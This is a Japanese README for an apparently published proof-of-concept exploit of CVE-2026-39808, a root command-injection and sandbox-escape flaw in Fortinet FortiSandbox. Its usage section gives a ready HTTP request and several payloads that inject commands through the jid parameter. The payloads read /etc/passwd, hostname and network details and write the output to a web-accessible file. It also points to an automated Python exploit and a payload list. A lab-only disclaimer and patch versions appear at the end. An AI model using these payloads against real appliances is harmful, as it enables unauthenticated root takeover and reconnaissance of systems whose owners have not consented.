🚨 FortiSandbox ルートサンドボックスエスケープ - CVE-2026-39808

---

🎯 概要

このリポジトリには、CVE-2026-39808 — Fortinet FortiSandbox における深刻な非認証コマンドインジェクション脆弱性で、サンドボックスエスケープ および root（uid=0）でのリモートコード実行を可能にするもの — の、クリーンで文書化が行き届いた Proof of Concept が含まれています。

この PoC が実証する内容:

• jid パラメータを介したパストラバーサル + コマンドインジェクション
• 解析環境からのサンドボックス脱出
• root 権限による任意コマンドの実行
• システムファイルおよびネットワーク情報の読み取り

📸 デモ

uid=0 gid=0 groups=0 を示す悪用成功例

🚀 影響を受けるバージョン

🛠️ 使用方法（ラボ限定）

1. シンプルなペイロード（推奨）

GET /fortisandbox/job-detail/tracer-behavior?jid=%7C(id%3E/web/ng/out.txt)%7C HTTP/1.1
Host: your-lab-ip

2. 結果を確認する

ブラウザで開く:

https://your-lab-ip/ng/out.txt

3. 高度なペイロード例

# IP アドレスとホスト名を取得
jid=|(hostname; ip -4 addr show > /web/ng/out.txt)|

# システム全体の偵察
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|

📁 リポジトリの内容

• poc.py → 自動化された Python エクスプロイト
• burp-request.txt → そのまま使える Burp Suite リクエスト
• payloads.md → 便利なペイロード集
• screenshots/ → 段階的な悪用手順のスクリーンショット
• README.md → このファイル

⚠️ 重要な注意事項

• 教育およびラボ目的のみに使用すること
• 本番環境や許可のないシステムでは使用しないこと
• テストの前に必ず適切な許可を得ること
• FortiSandbox をバージョン 4.4.9+ または 5.0.6+ にパッチ適用すること

🛡️ 緩和策

FortiSandbox を直ちに以下のいずれかのバージョンに更新してください:

• 4.4.9 以上
• 5.0.6 以上

Fortinet は、この脆弱性に対処する公式パッチをリリースしています。